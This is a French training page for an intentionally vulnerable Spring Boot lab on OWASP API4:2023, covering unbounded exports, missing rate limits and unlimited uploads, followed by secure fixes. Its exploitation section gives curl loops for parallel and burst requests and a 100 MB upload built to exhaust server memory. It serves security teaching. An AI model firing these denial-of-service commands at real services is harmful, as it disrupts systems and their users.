Unrestricted Resource Consumption
Java 17 · Spring Boot
Export sans pagination ni rate limiting. Saturation mémoire par 100 requêtes parallèles.
Cas n°9 — API4:2023 Unrestricted Resource Consumption
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=09
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=09 -e variant=secure
Référence OWASP
API4:2023 - Unrestricted Resource Consumption https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/
Une API qui ne limite pas la quantité de ressources consommées par une requête permet à un attaquant de la saturer par des requêtes abusives : volume de données non borné, absence de rate limiting, uploads sans limite de taille.
démos vidéo
Pas de démo
Scénario métier
L'API de gestion des sinistres Assuria permet aux gestionnaires de lister, rechercher et exporter des sinistres, ainsi que d'uploader des documents justificatifs.
La base contient 500 sinistres générés au démarrage.
Utilisateurs de test
| Login | Mot de passe | Rôle |
|---|---|---|
gestionnaire |
gest123 |
GESTIONNAIRE |
admin |
admin123 |
ADMIN |
Endpoints
| Méthode | Endpoint | Description |
|---|---|---|
| POST | /api/auth/login |
Authentification, retourne un token JWT |
| GET | /api/sinistres |
Lister les sinistres |
| GET | /api/sinistres/export |
Exporter tous les sinistres en JSON |
| GET | /api/sinistres/search |
Rechercher avec filtres (type, statut) |
| POST | /api/sinistres/upload |
Uploader un document justificatif |
Prérequis
- JDK 17+
- Maven 3.8+
curl(Linux) oucurl+ PowerShell (Windows)dd(Linux) oufsutil(Windows) pour créer les fichiers de test
Version vulnérable (vulnerable/)
Lancement
cd vulnerable
mvn spring-boot:run
Le serveur démarre sur https://appsec.cc. Les 500 sinistres sont générés automatiquement.
Les 3 vulnérabilités
1. Absence de pagination
// SinistreController.java — VULNERABLE
@GetMapping("/export")
public ResponseEntity<List<Sinistre>> exportSinistres() {
return ResponseEntity.ok(sinistreRepository.findAll());
// 500+ enregistrements retournés d'un coup → surcharge mémoire et réseau
}
findAll() charge tous les enregistrements en mémoire JVM avant de les sérialiser. En production avec des millions de lignes, cela provoque un OutOfMemoryError.
2. Absence de rate limiting
Aucun filtre ne limite le nombre de requêtes par utilisateur. Un script peut envoyer des centaines de requêtes simultanées sans jamais recevoir de 429 Too Many Requests.
3. Uploads sans limite de taille
// SinistreController.java — VULNERABLE
@PostMapping("/upload")
public ResponseEntity<?> uploadDocument(@RequestParam("file") MultipartFile file, ...) {
byte[] content = file.getBytes(); // charge tout en mémoire
documentRepository.save(new Document(sinistreId, file.getOriginalFilename(), content));
// Accepte n'importe quelle taille → sature la base H2 et la heap JVM
}
# application.yml — VULNERABLE
spring:
servlet:
multipart:
max-file-size: -1 # illimité
max-request-size: -1 # illimité
Exploitation
Étape 1 — Obtenir un token JWT
TOKEN=$(curl -s -X POST https://appsec.cc/api/auth/login \
-H "Content-Type: application/json" \
-d '{"login":"gestionnaire","password":"gest123"}' \
| grep -o '"token":"[^"]*"' | sed 's/"token":"//;s/"//')
echo "Token : $TOKEN"
Exploit 1 — Saturation par requêtes d'export parallèles
# 50 requêtes simultanées, chacune charge 500+ sinistres
for i in $(seq 1 50); do
curl -s -o /dev/null -w "Req $i : %{http_code} (%{time_total}s)\n" \
-H "Authorization: Bearer $TOKEN" \
https://appsec.cc/api/sinistres/export &
done
wait
Résultat observé : toutes les requêtes aboutissent (HTTP 200), la latence augmente, la consommation mémoire de la JVM grimpe. En production, l'application peut crasher avec java.lang.OutOfMemoryError.
Exploit 2 — Rafale de requêtes (pas de rate limiting)
# 200 requêtes en boucle — aucune ne doit être bloquée
for i in $(seq 1 200); do
curl -s -o /dev/null -w "%{http_code} " \
-H "Authorization: Bearer $TOKEN" \
https://appsec.cc/api/sinistres
done
Résultat observé : 200 × HTTP 200. Pas un seul 429. Un attaquant peut envoyer des milliers de requêtes sans restriction, saturant le pool de threads Tomcat.
Exploit 3 — Upload d'un fichier de 100 MB
# Créer un fichier de 100 MB
dd if=/dev/zero of=/tmp/bigfile.bin bs=1M count=100
# L'uploader — le serveur l'accepte intégralement
curl -X POST -H "Authorization: Bearer $TOKEN" \
-F "file=@/tmp/bigfile.bin;type=application/octet-stream" \
-F "sinistreId=1" \
https://appsec.cc/api/sinistres/upload
Résultat observé : HTTP 200, le fichier de 100 MB est chargé en mémoire JVM puis stocké en base H2. La base in-memory est épuisée.
Script automatisé
# Linux/Ubuntu
chmod +x exploit/dos-exploit.sh
./exploit/dos-exploit.sh
# Windows
exploit\dos-exploit.bat
Version sécurisée (secure/)
Lancement
cd secure
mvn spring-boot:run
Correctif 1 — Pagination obligatoire
// SinistreController.java — SECURISE
@GetMapping("/export")
public ResponseEntity<Page<Sinistre>> exportSinistres(
@RequestParam(defaultValue = "0") int page,
@RequestParam(defaultValue = "50") int size) {
if (size > 100) size = 100; // plafond absolu
Pageable pageable = PageRequest.of(page, size, Sort.by("dateCreation").descending());
return ResponseEntity.ok(sinistreRepository.findAll(pageable));
}
Spring Data ne charge que les N enregistrements de la page courante. La réponse inclut les métadonnées de pagination (totalElements, totalPages).
Vérification :
# Sans paramètre → 50 résultats max par défaut
curl -H "Authorization: Bearer $TOKEN" \
"https://appsec.cc/api/sinistres/export"
# Navigation → page 2
curl -H "Authorization: Bearer $TOKEN" \
"https://appsec.cc/api/sinistres/export?page=1&size=50"
# Tentative de dépasser le plafond → plafonnée à 100
curl -H "Authorization: Bearer $TOKEN" \
"https://appsec.cc/api/sinistres/export?size=9999"
Correctif 2 — Rate limiting (token bucket)
RateLimitFilter (filter/RateLimitFilter.java) s'exécute avant le filtre JWT. Il identifie le client par son login (extrait du JWT) ou par son adresse IP en fallback.
TokenBucket (filter/TokenBucket.java) implémente l'algorithme token bucket : 100 requêtes autorisées par fenêtre de 1 minute. Au-delà, la requête reçoit 429 Too Many Requests.
Limite : 100 req/min par utilisateur
Header de réponse : X-RateLimit-Remaining
En cas de dépassement : 429 + header Retry-After: 60
Vérification — simuler un dépassement :
# Vider le bucket en 101 requêtes rapides
for i in $(seq 1 101); do
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
https://appsec.cc/api/sinistres)
echo "Req $i : $CODE"
done
# La 101e requête doit renvoyer 429
Correctif 3 — Limite sur les uploads
# application.yml — SECURISE
spring:
servlet:
multipart:
max-file-size: 5MB
max-request-size: 10MB
Spring rejette automatiquement les fichiers > 5 MB avec HTTP 413 avant même d'atteindre le contrôleur. Le contrôleur ajoute une deuxième couche de défense :
// SinistreController.java — SECURISE
@PostMapping("/upload")
public ResponseEntity<?> uploadDocument(@RequestParam("file") MultipartFile file, ...) {
if (file.getSize() > 5 * 1024 * 1024) {
return ResponseEntity.status(413).body(Map.of("error", "Fichier trop volumineux (max 5 MB)"));
}
List<String> allowedTypes = List.of("application/pdf", "image/jpeg", "image/png");
if (!allowedTypes.contains(file.getContentType())) {
return ResponseEntity.status(415).body(Map.of("error", "Type de fichier non autorisé"));
}
// ...
}
Vérification :
# Fichier trop grand → 413
dd if=/dev/zero of=/tmp/gros.bin bs=1M count=10
curl -X POST -H "Authorization: Bearer $TOKEN" \
-F "file=@/tmp/gros.bin" -F "sinistreId=1" \
https://appsec.cc/api/sinistres/upload
# → {"error":"Fichier trop volumineux (max 5 MB)"}
# Type non autorisé → 415
echo "test" > /tmp/test.exe
curl -X POST -H "Authorization: Bearer $TOKEN" \
-F "file=@/tmp/test.exe;type=application/octet-stream" -F "sinistreId=1" \
https://appsec.cc/api/sinistres/upload
# → {"error":"Type de fichier non autorisé (PDF, JPEG, PNG uniquement)"}
Correctif 4 — Timeouts et limites de connexions
# application.yml — SECURISE
server:
tomcat:
connection-timeout: 10000 # 10s pour établir une connexion
max-connections: 200 # connexions simultanées maximum
threads:
max: 50 # threads de traitement maximum
mvc:
async:
request-timeout: 30000 # 30s de traitement maximum
Points clés à retenir
| Problème | Impact | Correctif |
|---|---|---|
| Pas de pagination | OutOfMemoryError, latence extrême | Pageable Spring Data + plafond de taille |
| Pas de rate limiting | Saturation CPU/threads | Token bucket en filtre, 100 req/min, réponse 429 |
| Upload illimité (config) | Saturation disque/mémoire | max-file-size: 5MB dans application.yml |
| Upload illimité (code) | Contournement de la config | Validation explicite dans le contrôleur |
| Pas de timeout | Threads bloqués indéfiniment | connection-timeout + max-connections Tomcat |
Headers HTTP de sécurité à connaître
X-RateLimit-Remaining: 42 # requêtes restantes dans la fenêtre courante
Retry-After: 60 # secondes à attendre avant de réessayer (429)